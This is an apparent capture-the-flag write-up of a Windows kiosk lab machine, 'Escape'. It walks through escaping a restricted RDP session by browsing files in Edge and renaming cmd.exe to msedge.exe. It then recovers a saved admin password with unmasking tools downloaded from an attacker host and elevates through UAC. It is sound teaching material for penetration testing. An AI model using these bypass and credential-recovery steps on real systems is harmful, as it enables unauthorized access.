Overview
Escape is a Windows kiosk-style machine that starts with only RDP exposed. The initial access path is not a traditional remote shell, but a restricted desktop session where cmd and PowerShell are blocked. By using Microsoft Edge to browse the local file system, copying cmd.exe, and renaming the binary, we bypass the restriction and obtain a shell. From there, saved Remote Desktop Plus profile data leads to administrator credentials, and GUI access allows us to elevate through a UAC prompt.
Attack Chain
- Enumerate the target and identify
RDPon port3389 - Connect to the kiosk session as
KioskUser0 - Use
Microsoft Edgeto browse the local file system withfile:///C:\ - Discover
Remote Desktop Plusprofile data inC:\_admin - Copy
cmd.exeinto the user context and bypass restrictions by renaming it tomsedge.exe - Launch
PowerShellfrom the renamed command shell - Copy and import the
Remote Desktop Plusprofile file - Reveal the masked administrator password with a password unmasking tool
- Use
runasto start a PowerShell session asadmin - Elevate through a GUI UAC prompt
- Read the Administrator flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify the exposed services.
export IP=10.10.114.170; export NAME=ESCAPE; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -p- -v -oA scans/nmap_allports_$NAME
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -sC -sV -oA scans/nmap_initial_$NAME -v
The scan only identifies one open TCP port:
3389

Findings
With only RDP (3389) exposed, the attack surface is narrow. This immediately suggests that the first step will likely involve interacting with the remote desktop environment rather than attacking a web service, SMB share, or Active Directory service.
RDP Access
Initial Connection
We begin by connecting to the target over RDP.
rdesktop $IP

The session presents a Windows login screen.

The machine allows access as KioskUser0, so we connect again using xfreerdp3.
xfreerdp3 /u:KioskUser0 /v:$IP /cert:ignore

Kiosk Restrictions
Once logged in, the environment is heavily restricted. There is no normal start menu, and direct access to tools like cmd and PowerShell is blocked. However, pressing the Windows key still opens a limited start menu, and Microsoft Edge is available.

Since Edge is available, we can try using it to browse the local file system. Windows allows local paths to be opened in the browser using the file:// URI scheme.
file:///C:\
This allows us to view the root of C:\ from within the browser.

Local File Enumeration
_admin Directory
While browsing C:\, the _admin directory stands out as interesting.

Inside the directory, we find a profiles.xml file associated with Remote Desktop Plus.

The profile contains an encoded or encrypted password value.
JWqkl6IDfQxXXmiHIKIP8ca0G9XxnWQZgvtPgON2vWc=
At this stage, the value does not crack cleanly, but it tells us that saved connection data exists on the machine. We will return to this later once we have better local execution.
Foothold
Bypassing Binary Restrictions
To enumerate properly, we need a shell. Since Edge lets us browse the file system, we navigate to the Windows system directory and look for binaries we may be able to launch.

Clicking cmd.exe does not execute it directly. Instead, the browser downloads a copy of the binary.

When we open the Downloads folder and try to run cmd.exe, Windows blocks execution with a restriction message.

The translated message is:
This operation was canceled due to system restrictions. Please contact your system administrator.
This suggests that the restriction is likely based on the executable name or an application control rule targeting common administrative binaries. Since Microsoft Edge is allowed, we rename the downloaded copy of cmd.exe to msedge.exe.
When using the F2 shortcut to rename the file, we only rename it to msedge, because Windows already hides the .exe extension.

After renaming the binary, it launches successfully and gives us a command shell.

PowerShell Access
The cmd shell is useful, but limited. From the renamed shell, we start PowerShell with execution policy bypassed.
powershell -ep bypass
With PowerShell available, we can enumerate the file system more comfortably.
Get-ChildItem -Force

The user flag can now be read from the KioskUser0 profile.

Privilege Escalation
Remote Desktop Plus Profile Import
Earlier, we found profiles.xml for Remote Desktop Plus in C:\_admin. Since we now have command execution, we return to that path and run the Remote Desktop Plus application.

The application opens and provides an option to manage profiles.

Inside the profile manager, there is an option to import a profile. However, the file picker only allows access to the C:\Users\KioskUser0\Downloads folder.

To work around this, we copy the profile file from C:\_admin into the Downloads folder.
copy C:\_admin\profiles.xml C:\Users\kioskUser0\Downloads\

Now the file is visible in the import dialog.

The import works, but when editing the profile, the password is only shown as masked bullets.

Revealing the Masked Password
The first attempt is to use BulletsPassView, a NirSoft utility that can reveal passwords hidden behind bullet characters in some Windows applications.
We host the binary from our attacking machine and download it to the target.
iwr -uri http://10.8.6.99/BulletsPassView.exe -o C:\Users\kioskUser0\Downloads\BulletsPassView.exe

Running the binary detects an entry for Remote Desktop Plus.

BulletsPassView does not fully solve the issue in this case, so we switch to Kernel Password Unmask.
The same transfer approach is used.
iwr -uri http://10.8.6.99/KernelPasswordUnmask.exe -o C:\Users\kioskUser0\Downloads\KernelPasswordUnmask.exe

We run KernelPasswordUnmask.exe.

The tool opens and prompts us to switch back to the window containing the masked password.

After returning to Remote Desktop Plus, the password is revealed.

The recovered credentials are:
admin:Twisting3021
Shell as admin
Because we already have an interactive RDP session, we can use runas to start a new process as the admin user.
runas /user:admin powershell

A new PowerShell window opens as admin, but it does not yet have full elevated administrator privileges.

We check the admin user and confirm that it belongs to the Administrators group.
net user admin

Since the user is an administrator but the shell is not elevated, we need to pass through UAC.
GUI UAC Elevation
Because we have GUI access, we can trigger an elevated PowerShell process with Start-Process and the runas verb.
start-process powershell.exe -verb runas

The UAC password prompt appears. We enter the recovered admin password and click OK.

A new elevated PowerShell window opens with full administrator privileges.

We confirm that the shell is now running with the expected elevated context.

The Administrator flag can now be read.

Key Takeaways
Escape shows how a locked-down GUI environment can still expose dangerous paths when local applications and file-system browsing are available. Microsoft Edge provided a way to browse C:\, while a simple binary rename bypassed restrictions on cmd.exe. The most important escalation point was saved Remote Desktop Plus profile data: once imported, the masked password could be revealed with GUI password unmasking tools, allowing access to an administrator account and final elevation through UAC.